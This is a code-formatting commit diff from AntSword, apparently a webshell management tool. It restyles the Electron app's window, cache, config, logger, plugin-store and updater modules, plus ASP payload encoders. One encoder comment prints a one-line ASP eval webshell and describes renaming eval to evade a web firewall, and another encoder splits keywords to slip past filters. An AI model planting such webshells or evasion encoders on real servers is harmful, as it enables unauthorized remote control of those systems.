Commit 22700479 authored by Medicean's avatar Medicean

(Other: Style) Code Format

parent 0dc7858f
...@@ -8,83 +8,92 @@ ...@@ -8,83 +8,92 @@
const path = require('path'); const path = require('path');
const electron = require('electron'); const electron = require('electron');
const { app, protocol, BrowserWindow } = require('electron'); const {app, protocol, BrowserWindow} = require('electron');
// 注册为标准 scheme, 默认情况下web storage apis (localStorage, sessionStorage, webSQL, indexedDB, cookies) 被禁止访问非标准schemes // 注册为标准 scheme, 默认情况下web storage apis (localStorage, sessionStorage, webSQL,
protocol.registerStandardSchemes(['ant-views','ant-static','ant-src']); // indexedDB, cookies) 被禁止访问非标准schemes
protocol.registerStandardSchemes(['ant-views', 'ant-static', 'ant-src']);
app app.once('ready', () => {
.once('ready', () => { /**
/**
* 注册静态资源protocol * 注册静态资源protocol
* - 可通过注册的协议访问资源文件,如ant-static://libs/jquery.jquery.js * - 可通过注册的协议访问资源文件,如ant-static://libs/jquery.jquery.js
*/ */
[
[ [
['static', '/static/', 13], 'static', '/static/', 13
['views', '/views/', 12], //- 通过访问访问ant-views来访问views 文件 ],
['src', '/source/', 10] //- 通过访问访问ant-src来访问source 文件 [
].map((_) => { 'views', '/views/', 12
protocol.registerFileProtocol(`ant-${_[0]}`, (req, cb) => { ], //- 通过访问访问ant-views来访问views 文件
if(req.url.endsWith('/')){ ['src', '/source/', 10] //- 通过访问访问ant-src来访问source 文件
req.url = req.url.substr(0,req.url.length-1); ].map((_) => {
} protocol.registerFileProtocol(`ant-${_[0]}`, (req, cb) => {
cb({ if (req.url.endsWith('/')) {
path: path.normalize(path.join(__dirname, _[1], req.url.substr(_[2]))) req.url = req
}); .url
.substr(0, req.url.length - 1);
}
cb({
path: path.normalize(path.join(__dirname, _[1], req.url.substr(_[2])))
}); });
}); });
});
// 初始化窗口 // 初始化窗口
let mainWindow = new BrowserWindow({ let mainWindow = new BrowserWindow({
width: 1040, height: 699, width: 1040,
minWidth: 888, minHeight: 555, height: 699,
title: 'AntSword', minWidth: 888,
webPreferences: { minHeight: 555,
webgl: false, title: 'AntSword',
javascript: true, webPreferences: {
nodeIntegration: true, // 开启 nodejs 支持 webgl: false,
// contextIsolation: false, // 关闭上下文隔离 javascript: true,
// webSecurity: false, nodeIntegration: true, // 开启 nodejs 支持
// allowRunningInsecureContent: true, // contextIsolation: false, // 关闭上下文隔离 webSecurity: false,
// sandbox: false, // allowRunningInsecureContent: true, sandbox: false,
}, }
}); });
// 加载views
mainWindow.loadURL('ant-views://front/index.html');
// 调整部分UI
const reloadUI = mainWindow.webContents.send.bind(
mainWindow.webContents,
'reloadui', true
);
// 窗口事件监听 // 加载views
mainWindow mainWindow.loadURL('ant-views://front/index.html');
.on('close', (event) => { // 调整部分UI
event.preventDefault(); const reloadUI = mainWindow
app.exit(0); .webContents
}) .send
.on('minimize', (event) => { .bind(mainWindow.webContents, 'reloadui', true);
event.preventDefault();
if (process.platform == 'darwin') {
app.hide();
}else{
mainWindow.hide();
}
})
.on('resize', reloadUI)
.on('maximize', reloadUI)
.on('unmaximize', reloadUI)
.on('enter-full-screen', reloadUI)
.on('leave-full-screen', reloadUI);
// 窗口事件监听
mainWindow.on('close', (event) => {
event.preventDefault();
app.exit(0);
}).on('minimize', (event) => {
event.preventDefault();
if (process.platform == 'darwin') {
app.hide();
} else {
mainWindow.hide();
}
})
.on('resize', reloadUI)
.on('maximize', reloadUI)
.on('unmaximize', reloadUI)
.on('enter-full-screen', reloadUI)
.on('leave-full-screen', reloadUI);
// 打开调试控制台 // 打开调试控制台 mainWindow.webContents.openDevTools();
// mainWindow.webContents.openDevTools();
electron.Logger = require('./modules/logger')(mainWindow); electron.Logger = require('./modules/logger')(mainWindow);
// 初始化模块 // 初始化模块
['menubar', 'request', 'database', 'cache', 'update', 'plugStore'].map((_) => { [
new ( require(`./modules/${_}`) )(electron, app, mainWindow); 'menubar',
}); 'request',
'database',
'cache',
'update',
'plugStore'
].map((_) => {
new(require(`./modules/${_}`))(electron, app, mainWindow);
}); });
});
...@@ -22,7 +22,8 @@ class Cache { ...@@ -22,7 +22,8 @@ class Cache {
*/ */
constructor(electron) { constructor(electron) {
logger = new electron.Logger('Cache'); logger = new electron.Logger('Cache');
electron.ipcMain electron
.ipcMain
.on('cache-add', this.addCache.bind(this)) .on('cache-add', this.addCache.bind(this))
.on('cache-set', this.setCache.bind(this)) .on('cache-set', this.setCache.bind(this))
.on('cache-get', this.getCache.bind(this)) .on('cache-get', this.getCache.bind(this))
...@@ -36,7 +37,7 @@ class Cache { ...@@ -36,7 +37,7 @@ class Cache {
* @param {String} id 数据存储文件名 * @param {String} id 数据存储文件名
* @return {[type]} [description] * @return {[type]} [description]
*/ */
createDB(id = String(+new Date)) { createDB(id = String(+ new Date)) {
return new Datastore({ return new Datastore({
filename: path.join(CONF.cachePath, id), filename: path.join(CONF.cachePath, id),
autoload: true autoload: true
...@@ -50,12 +51,14 @@ class Cache { ...@@ -50,12 +51,14 @@ class Cache {
*/ */
addCache(event, opts) { addCache(event, opts) {
logger.debug('addCache', opts); logger.debug('addCache', opts);
this.createDB(opts['id']).insert({ this
tag: opts['tag'], .createDB(opts['id'])
cache: opts['cache'] .insert({
}, (err, ret) => { tag: opts['tag'],
event.returnValue = err || ret; cache: opts['cache']
}); }, (err, ret) => {
event.returnValue = err || ret;
});
} }
/** /**
...@@ -65,15 +68,17 @@ class Cache { ...@@ -65,15 +68,17 @@ class Cache {
*/ */
setCache(event, opts) { setCache(event, opts) {
logger.debug('setCache', opts); logger.debug('setCache', opts);
this.createDB(opts['id']).update({ this
tag: opts['tag'] .createDB(opts['id'])
}, { .update({
$set: { tag: opts['tag']
cache: opts['cache'] }, {
} $set: {
}, (err, ret) => { cache: opts['cache']
event.returnValue = err || ret; }
}); }, (err, ret) => {
event.returnValue = err || ret;
});
} }
/** /**
...@@ -84,11 +89,13 @@ class Cache { ...@@ -84,11 +89,13 @@ class Cache {
*/ */
getCache(event, opts) { getCache(event, opts) {
logger.debug('getCache', opts); logger.debug('getCache', opts);
this.createDB(opts['id']).findOne({ this
tag: opts['tag'] .createDB(opts['id'])
}, (err, ret) => { .findOne({
event.returnValue = err || ret; tag: opts['tag']
}) }, (err, ret) => {
event.returnValue = err || ret;
})
} }
/** /**
...@@ -99,11 +106,13 @@ class Cache { ...@@ -99,11 +106,13 @@ class Cache {
*/ */
delCache(event, opts) { delCache(event, opts) {
logger.warn('delCache', opts); logger.warn('delCache', opts);
this.createDB(opts['id']).remove({ this
tag: opts['tag'] .createDB(opts['id'])
}, (err, ret) => { .remove({
event.returnValue = err || ret; tag: opts['tag']
}); }, (err, ret) => {
event.returnValue = err || ret;
});
} }
/** /**
...@@ -114,10 +123,10 @@ class Cache { ...@@ -114,10 +123,10 @@ class Cache {
*/ */
clearCache(event, opts) { clearCache(event, opts) {
logger.fatal('clearCache', opts); logger.fatal('clearCache', opts);
try{ try {
fs.unlinkSync(path.join(CONF.cachePath, opts['id'])); fs.unlinkSync(path.join(CONF.cachePath, opts['id']));
event.returnValue = true; event.returnValue = true;
}catch(e) { } catch (e) {
event.returnValue = e; event.returnValue = e;
} }
} }
...@@ -130,12 +139,14 @@ class Cache { ...@@ -130,12 +139,14 @@ class Cache {
*/ */
clearAllCache(event, opts) { clearAllCache(event, opts) {
logger.fatal('clearAllCache', opts); logger.fatal('clearAllCache', opts);
try{ try {
fs.readdirSync(CONF.cachePath).map((_) => { fs
fs.unlinkSync(path.join(CONF.cachePath, _)); .readdirSync(CONF.cachePath)
}); .map((_) => {
fs.unlinkSync(path.join(CONF.cachePath, _));
});
event.returnValue = true; event.returnValue = true;
}catch(e) { } catch (e) {
event.returnValue = e; event.returnValue = e;
} }
} }
......
...@@ -15,24 +15,16 @@ class Conf { ...@@ -15,24 +15,16 @@ class Conf {
constructor() { constructor() {
// 旧数据存储目录 // 旧数据存储目录
let _oldPath = path.join( let _oldPath = path.join(process.env.HOME || process.env.LOCALAPPPATH || process.cwd() || '.', '.antSword', 'shell.db');
process.env.HOME || process.env.LOCALAPPPATH || process.cwd() || '.',
'.antSword',
'shell.db'
);
// 数据存储目录 // 数据存储目录
this.basePath = path.join( this.basePath = path.join(process.env.AS_WORKDIR, 'antData')
process.env.AS_WORKDIR,
'antData'
)
// 初始化目录 // 初始化目录
!fs.existsSync(this.basePath) ? fs.mkdirSync(this.basePath) : null; !fs.existsSync(this.basePath)
? fs.mkdirSync(this.basePath)
: null;
// 旧数据搬迁 // 旧数据搬迁
if (fs.existsSync(_oldPath) && !fs.existsSync(this.dataPath)) { if (fs.existsSync(_oldPath) && !fs.existsSync(this.dataPath)) {
fs.writeFileSync( fs.writeFileSync(this.dataPath, fs.readFileSync(_oldPath))
this.dataPath,
fs.readFileSync(_oldPath)
)
} }
// 初始化目录 // 初始化目录
this.tmpPath; this.tmpPath;
...@@ -55,7 +47,9 @@ class Conf { ...@@ -55,7 +47,9 @@ class Conf {
get cachePath() { get cachePath() {
let _ = path.join(this.basePath, '/cache/'); let _ = path.join(this.basePath, '/cache/');
// 创建缓存目录 // 创建缓存目录
!fs.existsSync(_) ? fs.mkdirSync(_) : null; !fs.existsSync(_)
? fs.mkdirSync(_)
: null;
return _; return _;
} }
...@@ -66,7 +60,9 @@ class Conf { ...@@ -66,7 +60,9 @@ class Conf {
*/ */
get plugPath() { get plugPath() {
let _ = path.join(this.basePath, '/plugins/'); let _ = path.join(this.basePath, '/plugins/');
!fs.existsSync(_) ? fs.mkdirSync(_) : null; !fs.existsSync(_)
? fs.mkdirSync(_)
: null;
return _; return _;
} }
...@@ -77,7 +73,9 @@ class Conf { ...@@ -77,7 +73,9 @@ class Conf {
*/ */
get tmpPath() { get tmpPath() {
let _ = path.join(this.basePath, '/.temp/'); let _ = path.join(this.basePath, '/.temp/');
!fs.existsSync(_) ? fs.mkdirSync(_) : null; !fs.existsSync(_)
? fs.mkdirSync(_)
: null;
return _; return _;
} }
......
This diff is collapsed.
...@@ -21,8 +21,12 @@ class Logger { ...@@ -21,8 +21,12 @@ class Logger {
* @return {String} 格式化后的内容文本 * @return {String} 格式化后的内容文本
*/ */
parseLog(type, logs) { parseLog(type, logs) {
let tm = new Date().toTimeString().split(' ')[0]; let tm = new Date()
let log = typeof logs === 'object' ? JSON.stringify(logs) : String(logs); .toTimeString()
.split(' ')[0];
let log = typeof logs === 'object'
? JSON.stringify(logs)
: String(logs);
return `[${tm}] ${type.toUpperCase()}::${this.tag}\t${log}`; return `[${tm}] ${type.toUpperCase()}::${this.tag}\t${log}`;
} }
...@@ -31,7 +35,10 @@ class Logger { ...@@ -31,7 +35,10 @@ class Logger {
* @return {[type]} [description] * @return {[type]} [description]
*/ */
debug() { debug() {
mainWindow.send('logger-debug', [this.parseLog('debug', arguments), arguments]); mainWindow.send('logger-debug', [
this.parseLog('debug', arguments),
arguments
]);
} }
/** /**
...@@ -39,7 +46,10 @@ class Logger { ...@@ -39,7 +46,10 @@ class Logger {
* @return {[type]} [description] * @return {[type]} [description]
*/ */
info() { info() {
mainWindow.send('logger-info', [this.parseLog('info', arguments), arguments]); mainWindow.send('logger-info', [
this.parseLog('info', arguments),
arguments
]);
} }
/** /**
...@@ -47,7 +57,10 @@ class Logger { ...@@ -47,7 +57,10 @@ class Logger {
* @return {[type]} [description] * @return {[type]} [description]
*/ */
warn() { warn() {
mainWindow.send('logger-warn', [this.parseLog('warn', arguments), arguments]); mainWindow.send('logger-warn', [
this.parseLog('warn', arguments),
arguments
]);
} }
/** /**
...@@ -55,7 +68,10 @@ class Logger { ...@@ -55,7 +68,10 @@ class Logger {
* @return {[type]} [description] * @return {[type]} [description]
*/ */
fatal() { fatal() {
mainWindow.send('logger-fatal', [this.parseLog('fatal', arguments), arguments]); mainWindow.send('logger-fatal', [
this.parseLog('fatal', arguments),
arguments
]);
} }
} }
......
This diff is collapsed.
...@@ -16,26 +16,33 @@ class PlugStore { ...@@ -16,26 +16,33 @@ class PlugStore {
logger = new electron.Logger('PlugStore'); logger = new electron.Logger('PlugStore');
this.listenDownload(mainWindow); this.listenDownload(mainWindow);
electron.ipcMain electron
.ipcMain
.on('store-uninstall', (event, plugName) => { .on('store-uninstall', (event, plugName) => {
logger.warn('UnInstall', plugName); logger.warn('UnInstall', plugName);
// 删除目录 // 删除目录
this.rmdir( this
path.join(CONF.plugPath, `${plugName}-master`) .rmdir(path.join(CONF.plugPath, `${plugName}-master`))
).then((ret) => { .then((ret) => {
event.returnValue = ret; event.returnValue = ret;
// 重新加载插件列表 // 重新加载插件列表
mainWindow.webContents.send('reloadPlug', true); mainWindow
}); .webContents
.send('reloadPlug', true);
});
}) })
.on('store-uninstall-dev', (event, plugPath) => { .on('store-uninstall-dev', (event, plugPath) => {
logger.warn('UnInstall.DEV', plugPath); logger.warn('UnInstall.DEV', plugPath);
// 删除目录 // 删除目录
this.rmdir(plugPath).then((ret) => { this
event.returnValue = ret; .rmdir(plugPath)
// 重新加载插件列表 .then((ret) => {
mainWindow.webContents.send('reloadPlug', true); event.returnValue = ret;
}); // 重新加载插件列表
mainWindow
.webContents
.send('reloadPlug', true);
});
}) })
// 获取插件路径 // 获取插件路径
.on('store-config-plugPath', (event) => { .on('store-config-plugPath', (event) => {
...@@ -49,52 +56,61 @@ class PlugStore { ...@@ -49,52 +56,61 @@ class PlugStore {
* @return {[type]} [description] * @return {[type]} [description]
*/ */
listenDownload(mainWindow) { listenDownload(mainWindow) {
mainWindow.webContents.session.on('will-download', (event, item, webContents) => { mainWindow
let fileName = item.getFilename().replace(/\-master\.zip$/,''); .webContents
let downLink = item.getURL(); .session
logger.info('down-store-plug', downLink); .on('will-download', (event, item, webContents) => {
// 判断是否下载为插件 let fileName = item
if (downLink.indexOf('github.com/AntSword-Store') > 0) { .getFilename()
// 1. 设置插件存储目录 .replace(/\-master\.zip$/, '');
let savePath = path.join(CONF.tmpPath, `${fileName}.zip`); let downLink = item.getURL();
item.setSavePath(savePath); logger.info('down-store-plug', downLink);
webContents.send('store-download-progress', { // 判断是否下载为插件
file: fileName, if (downLink.indexOf('github.com/AntSword-Store') > 0) {
type: 'init', // 1. 设置插件存储目录
total: item.getTotalBytes() let savePath = path.join(CONF.tmpPath, `${fileName}.zip`);
}); item.setSavePath(savePath);
// 2. 插件下载进度更新
item.on('updated', () => {
webContents.send('store-download-progress', { webContents.send('store-download-progress', {
file: fileName, file: fileName,
type: 'downloading', type: 'init',
size: item.getReceivedBytes() total: item.getTotalBytes()
}); });
}); // 2. 插件下载进度更新
// 3. 插件下载完毕 item.on('updated', () => {
item.on('done', (e, state) => { webContents.send('store-download-progress', {
webContents.send('store-download-progress', { file: fileName,
file: fileName, type: 'downloading',
path: savePath, size: item.getReceivedBytes()
type: 'downloaded', });
state: state
}); });
if (state !== 'completed') { return }; // 3. 插件下载完毕
// 解压安装插件 item.on('done', (e, state) => {
UNZIP(savePath, {
dir: CONF.plugPath
}, (err) => {
webContents.send('store-download-progress', { webContents.send('store-download-progress', {
type: 'installed', file: fileName,
file: fileName path: savePath,
type: 'downloaded',
state: state
});
if (state !== 'completed') {
return
};
// 解压安装插件
UNZIP(savePath, {
dir: CONF.plugPath
}, (err) => {
webContents.send('store-download-progress', {
type: 'installed',
file: fileName
});
logger.info('Installed', fileName);
// 重新加载插件列表
mainWindow
.webContents
.send('reloadPlug', true);
}); });
logger.info('Installed', fileName);
// 重新加载插件列表
mainWindow.webContents.send('reloadPlug', true);
}); });
}); }
} });
});
} }
/** /**
...@@ -107,19 +123,23 @@ class PlugStore { ...@@ -107,19 +123,23 @@ class PlugStore {
let ret = true; let ret = true;
// 循环删除目录 // 循环删除目录
const _rmdir = (_dir) => { const _rmdir = (_dir) => {
if (!fs.existsSync(_dir)) { return } if (!fs.existsSync(_dir)) {
fs.readdirSync(_dir).map((_) => { return
// 生成完整路径 }
let _path = path.join(dir, _); fs
// 如果是目录,则继续循环,否则删除 .readdirSync(_dir)
if (fs.lstatSync(_path).isDirectory()) { .map((_) => {
return this.rmdir(_path); // 生成完整路径
} let _path = path.join(dir, _);
fs.unlinkSync(_path); // 如果是目录,则继续循环,否则删除
}); if (fs.lstatSync(_path).isDirectory()) {
return this.rmdir(_path);
}
fs.unlinkSync(_path);
});
fs.rmdirSync(_dir); fs.rmdirSync(_dir);
} }
try{ try {
_rmdir(dir); _rmdir(dir);
} catch (e) { } catch (e) {
ret = e; ret = e;
......
This diff is collapsed.
...@@ -15,18 +15,21 @@ const tar = require('tar'); ...@@ -15,18 +15,21 @@ const tar = require('tar');
class Update { class Update {
constructor(electron) { constructor(electron) {
this.logger = new electron.Logger('Update'); this.logger = new electron.Logger('Update');
electron.ipcMain electron
.on('check-update', this.checkUpdate.bind(this)) .ipcMain
.on('check-loader-update', this.checkLoaderUpdate.bind(this)) .on('check-update', this.checkUpdate.bind(this))
.on('update-download', this.onDownlaod.bind(this)); .on('check-loader-update', this.checkLoaderUpdate.bind(this))
.on('update-download', this.onDownlaod.bind(this));
} }
/** /**
* 检查 loader 是否需要更新 * 检查 loader 是否需要更新
* @param {[type]} event * @param {[type]} event
*/ */
checkLoaderUpdate(event) { checkLoaderUpdate(event) {
this.logger.debug('checkLoaderUpdate..') this
.logger
.debug('checkLoaderUpdate..')
superagent superagent
.get('https://api.github.com/repos/antswordproject/antSword-Loader/releases/latest') .get('https://api.github.com/repos/antswordproject/antSword-Loader/releases/latest')
.end((err, ret) => { .end((err, ret) => {
...@@ -36,17 +39,25 @@ class Update { ...@@ -36,17 +39,25 @@ class Update {
let curVersion = process.env.AS_LOADER_VER || '2.0.1'; let curVersion = process.env.AS_LOADER_VER || '2.0.1';
// 比对版本 // 比对版本
if (this.CompVersion(curVersion, newVersion)) { if (this.CompVersion(curVersion, newVersion)) {
this.logger.info('Found a new loader version', newVersion); this
event.sender.send('notification-loader-update', { .logger
ver: newVersion, .info('Found a new loader version', newVersion);
url: lastInfo['html_url'], event
body: lastInfo['body'] .sender
}); .send('notification-loader-update', {
ver: newVersion,
url: lastInfo['html_url'],
body: lastInfo['body']
});
} else { } else {
this.logger.warn('No new loader version.', newVersion, curVersion); this
.logger
.warn('No new loader version.', newVersion, curVersion);
} }
} catch(e) { } catch (e) {
this.logger.fatal('ERR', e); this
.logger
.fatal('ERR', e);
} }
}); });
} }
...@@ -57,7 +68,9 @@ class Update { ...@@ -57,7 +68,9 @@ class Update {
* @return {[type]} [description] * @return {[type]} [description]
*/ */
checkUpdate(event) { checkUpdate(event) {
this.logger.debug('checkUpdate..'); this
.logger
.debug('checkUpdate..');
superagent superagent
.get('https://api.github.com/repos/antoor/antSword/releases/latest') .get('https://api.github.com/repos/antoor/antSword/releases/latest')
.end((err, ret) => { .end((err, ret) => {
...@@ -67,17 +80,25 @@ class Update { ...@@ -67,17 +80,25 @@ class Update {
let curVersion = config['package'].version; let curVersion = config['package'].version;
// 比对版本 // 比对版本
if (this.CompVersion(curVersion, newVersion)) { if (this.CompVersion(curVersion, newVersion)) {
this.logger.info('Found a new version', newVersion); this
event.sender.send('notification-update', { .logger
ver: newVersion, .info('Found a new version', newVersion);
url: lastInfo['html_url'], event
body: lastInfo['body'] .sender
}); .send('notification-update', {
ver: newVersion,
url: lastInfo['html_url'],
body: lastInfo['body']
});
} else { } else {
this.logger.warn('No new version.', newVersion, curVersion); this
.logger
.warn('No new version.', newVersion, curVersion);
} }
} catch(e) { } catch (e) {
this.logger.fatal('ERR', e); this
.logger
.fatal('ERR', e);
} }
}); });
} }
...@@ -90,18 +111,20 @@ class Update { ...@@ -90,18 +111,20 @@ class Update {
*/ */
CompVersion(curVer, newVer) { CompVersion(curVer, newVer) {
// 如果版本相同 // 如果版本相同
if (curVer === newVer) { return false } if (curVer === newVer) {
return false
}
let currVerArr = curVer.split("."); let currVerArr = curVer.split(".");
let promoteVerArr = newVer.split("."); let promoteVerArr = newVer.split(".");
let len = Math.max(currVerArr.length, promoteVerArr.length); let len = Math.max(currVerArr.length, promoteVerArr.length);
for (let i = 0; i < len; i++) { for (let i = 0; i < len; i++) {
let proVal = ~~promoteVerArr[i], let proVal = ~~promoteVerArr[i],
curVal = ~~currVerArr[i]; curVal = ~~currVerArr[i];
if (proVal < curVal) { if (proVal < curVal) {
return false; return false;
} else if (proVal > curVal) { } else if (proVal > curVal) {
return true; return true;
} }
} }
return false; return false;
} }
...@@ -124,67 +147,78 @@ class Update { ...@@ -124,67 +147,78 @@ class Update {
let tempData = []; let tempData = [];
let totalsize = 0; let totalsize = 0;
let downsize = 0; let downsize = 0;
let url="https://github.com/AntSwordProject/AntSword/archive/master.tar.gz"; let url = "https://github.com/AntSwordProject/AntSword/archive/master.tar.gz";
superagent.head(url) superagent
.set('User-Agent', "antSword/v2.0") .head(url)
.redirects(5) .set('User-Agent', "antSword/v2.0")
.timeout(30000) .redirects(5)
.end((err, res)=>{ .timeout(30000)
if(err){ .end((err, res) => {
event.sender.send(`update-error-${hash}`, err); if (err) {
}else{ event
totalsize = parseInt(res.header['content-length']); .sender
superagent .send(`update-error-${hash}`, err);
.get(url) } else {
.set('User-Agent', "antSword/v2.0") totalsize = parseInt(res.header['content-length']);
.redirects(5) superagent
// .proxy(APROXY_CONF['uri']) .get(url)
// 设置超时会导致文件过大时写入出错 .set('User-Agent', "antSword/v2.0")
// .timeout(timeout) .redirects(5)
.pipe(through( // .proxy(APROXY_CONF['uri']) 设置超时会导致文件过大时写入出错 .timeout(timeout)
(chunk) => { .pipe(through((chunk) => {
downsize += chunk.length; downsize += chunk.length;
tempData.push(chunk); tempData.push(chunk);
if(totalsize>0){ if (totalsize > 0) {
var progress = parseInt(downsize/totalsize*100); var progress = parseInt(downsize / totalsize * 100);
event.sender.send(`update-dlprogress-${hash}`, progress, true); event
}else{ .sender
event.sender.send(`update-dlprogress-${hash}`, downsize, false); .send(`update-dlprogress-${hash}`, progress, true);
} } else {
}, event
() => { .sender
that.logger.debug("Download end."); .send(`update-dlprogress-${hash}`, downsize, false);
let tempDataBuffer = Buffer.concat(tempData); }
}, () => {
that
.logger
.debug("Download end.");
let tempDataBuffer = Buffer.concat(tempData);
if (totalsize > 0 && downsize != totalsize) { if (totalsize > 0 && downsize != totalsize) {
event.sender.send(`update-error-${hash}`, "Download Error."); event
return .sender
} .send(`update-error-${hash}`, "Download Error.");
event.sender.send(`update-dlend-${hash}`, tempDataBuffer.length); return
// 同步写入文件 }
fs.writeFileSync(savePath, tempDataBuffer); event
// 删除内存数据 .sender
tempDataBuffer = tempData = null; .send(`update-dlend-${hash}`, tempDataBuffer.length);
// 同步写入文件
fs.writeFileSync(savePath, tempDataBuffer);
// 删除内存数据
tempDataBuffer = tempData = null;
// TODO: 需不需要备份? // TODO: 需不需要备份?
// TODO: 删除原来的 node_modules 目录 // TODO: 删除原来的 node_modules 目录 解压数据
// 解压数据 tar
tar.x({ .x({file: savePath, strip: 1, C: process.env.AS_WORKDIR})
file: savePath, .then(_ => {
strip: 1, that
C: process.env.AS_WORKDIR, .logger
}).then(_=>{ .info("update success.");
that.logger.info("update success."); event
event.sender.send(`update-success`); .sender
fs.unlink(savePath); .send(`update-success`);
}, err=>{ fs.unlink(savePath);
event.sender.send(`update-error-${hash}`, err); }, err => {
fs.unlink(savePath); event
}); .sender
} .send(`update-error-${hash}`, err);
)); fs.unlink(savePath);
} });
}); }));
}
});
} }
} }
......
This diff is collapsed.
...@@ -16,7 +16,9 @@ class CacheManager { ...@@ -16,7 +16,9 @@ class CacheManager {
id: this.id, id: this.id,
tag: tag tag: tag
}); });
return ret ? ret['cache'] : false; return ret
? ret['cache']
: false;
} }
// 更新缓存 // 更新缓存
...@@ -38,9 +40,7 @@ class CacheManager { ...@@ -38,9 +40,7 @@ class CacheManager {
// 清空缓存 // 清空缓存
clear() { clear() {
return this.sender('cache-clear', { return this.sender('cache-clear', {id: this.id});
id: this.id
});
} }
} }
......
...@@ -23,27 +23,35 @@ class Decodes { ...@@ -23,27 +23,35 @@ class Decodes {
options = options || {}; options = options || {};
buffer = buffer || Buffer(''); buffer = buffer || Buffer('');
var DEFAULT_ENCODING = 'GBK', MIN_CONFIDENCE = 0.96; var DEFAULT_ENCODING = 'GBK',
MIN_CONFIDENCE = 0.96;
var verbose = options.verbose; var verbose = options.verbose;
var defaultEncoding = options.defaultEncoding || DEFAULT_ENCODING; var defaultEncoding = options.defaultEncoding || DEFAULT_ENCODING;
var minConfidence = options.minConfidence || MIN_CONFIDENCE; var minConfidence = options.minConfidence || MIN_CONFIDENCE;
var ret = jschardet.detect(buffer), encoding = ret.encoding === 'ascii' ? 'utf-8' : ret.encoding, var ret = jschardet.detect(buffer),
confidence = ret.confidence; encoding = ret.encoding === 'ascii'
? 'utf-8'
: ret.encoding,
confidence = ret.confidence;
// var VALID_ENCODINGS = ['gb2312', 'gbk', 'utf-8', 'big5', 'euc-kr','euc-jp']; // var VALID_ENCODINGS = ['gb2312', 'gbk', 'utf-8', 'big5', 'euc-kr','euc-jp'];
if (encoding === null || !iconv.encodingExists(encoding) || confidence < minConfidence) { if (encoding === null || !iconv.encodingExists(encoding) || confidence < minConfidence) {
return verbose ? { return verbose
encoding: defaultEncoding, ? {
oriEncoding: encoding, encoding: defaultEncoding,
confidence: confidence oriEncoding: encoding,
} : defaultEncoding; confidence: confidence
}
: defaultEncoding;
} else { } else {
encoding = encoding.toUpperCase(); encoding = encoding.toUpperCase();
return verbose ? { return verbose
encoding: encoding, ? {
oriEncoding: encoding, encoding: encoding,
confidence: confidence oriEncoding: encoding,
} : encoding; confidence: confidence
}
: encoding;
} }
} }
......
...@@ -19,10 +19,10 @@ class Menubar { ...@@ -19,10 +19,10 @@ class Menubar {
if (argv instanceof Array && argv.length === 2) { if (argv instanceof Array && argv.length === 2) {
cmd = argv[0]; cmd = argv[0];
arg = argv[1]; arg = argv[1];
}else{ } else {
cmd = argv; cmd = argv;
} }
switch(cmd) { switch (cmd) {
case 'tabbar-next': case 'tabbar-next':
antSword['tabbar'].goToNextTab(); antSword['tabbar'].goToNextTab();
break; break;
...@@ -31,13 +31,19 @@ class Menubar { ...@@ -31,13 +31,19 @@ class Menubar {
break; break;
case 'tabbar-close': case 'tabbar-close':
const tab = antSword['tabbar'].getActiveTab(); const tab = antSword['tabbar'].getActiveTab();
if (tab === 'tab_shellmanager') { return }; if (tab === 'tab_shellmanager') {
antSword['tabbar'].tabs(tab).close(); return
};
antSword['tabbar']
.tabs(tab)
.close();
break; break;
default: default:
// 检测是否有注册事件?执行注册事件:忽略 // 检测是否有注册事件?执行注册事件:忽略
let caller = this.events[cmd]; let caller = this.events[cmd];
if (caller instanceof Function) { caller() }; if (caller instanceof Function) {
caller()
};
} }
}); });
} }
......
...@@ -12,9 +12,11 @@ ...@@ -12,9 +12,11 @@
* @return {Array} data 编码器处理后的 payload 数组 * @return {Array} data 编码器处理后的 payload 数组
*/ */
module.exports = (pwd, data) => { module.exports = (pwd, data) => {
let _tmp = data['_'].replace(/(eval|cute|execute|server|script|timeout|resume|next|function|for|else|response|mid|end|step|write|then|isnumeric)/ig, function($, $1) { let _tmp = data['_'].replace(/(eval|cute|execute|server|script|timeout|resume|next|function|for|else|response|mid|end|step|write|then|isnumeric)/ig, function ($, $1) {
// asunescape(%) 表示括号内的内容不会被 URL 编码 // asunescape(%) 表示括号内的内容不会被 URL 编码
return $1.split('').join('asunescape(%)'); return $1
.split('')
.join('asunescape(%)');
}); });
data[pwd] = Buffer.from(_tmp); data[pwd] = Buffer.from(_tmp);
delete data['_']; delete data['_'];
......
// //
// asp::xxxx 编码模块 // asp::xxxx 编码模块
//
// :把eval替换成 xxxx 用于过狗
// //
// 服务端:<%Function xxxx(str) eval str End Function%><%D = request("ant")%><%xxxx D%> // :把eval替换成 xxxx 用于过狗
// 密码:ant /*
服务端:
<%Function xxxx(str) eval str End Function%><%D = request("ant")%><%xxxx D%>
密码:ant
*/
'use strict'; 'use strict';
module.exports = (pwd, data, ext = null) => { module.exports = (pwd, data, ext = null) => {
......
...@@ -15,22 +15,32 @@ class ASP extends Base { ...@@ -15,22 +15,32 @@ class ASP extends Base {
super(opts); super(opts);
// 解析模板 // 解析模板
[ [
'base', 'command', 'filemanager', 'base',
'database/dsn', 'database/mysql', 'command',
'database/access', 'database/oracle', 'filemanager',
'database/sqlserver', 'database/sqloledb_1', 'database/dsn',
'database/sqloledb_1_sspi', 'database/microsoft_jet_oledb_4_0' 'database/mysql',
'database/access',
'database/oracle',
'database/sqlserver',
'database/sqloledb_1',
'database/sqloledb_1_sspi',
'database/microsoft_jet_oledb_4_0'
].map((_) => { ].map((_) => {
this.parseTemplate(`./asp/template/${_}`); this.parseTemplate(`./asp/template/${_}`);
}); });
// 解析编码器 // 解析编码器
this.encoders.map((_) => { this
this.parseEncoder(`./asp/encoder/${_}`); .encoders
}); .map((_) => {
this.parseEncoder(`./asp/encoder/${_}`);
this.decoders.map((_) => { });
this.parseDecoder(`./asp/decoder/${_}`);
}); this
.decoders
.map((_) => {
this.parseDecoder(`./asp/decoder/${_}`);
});
} }
/** /**
...@@ -50,13 +60,21 @@ class ASP extends Base { ...@@ -50,13 +60,21 @@ class ASP extends Base {
* @param {Object} data 通过模板解析后的代码对象 * @param {Object} data 通过模板解析后的代码对象
* @return {Promise} 返回一个Promise操作对象 * @return {Promise} 返回一个Promise操作对象
*/ */
complete(data, force_default=false) { complete(data, force_default = false) {
// 分隔符号 // 分隔符号
let tag_s = Math.random().toString(16).substr(2, 5); // '->|'; let tag_s = Math
let tag_e = Math.random().toString(16).substr(2, 5); // '|<-'; .random()
.toString(16)
.substr(2, 5); // '->|';
let tag_e = Math
.random()
.toString(16)
.substr(2, 5); // '|<-';
// let formatter = new this.format(this.__opts__['encode']); // let formatter = new this.format(this.__opts__['encode']);
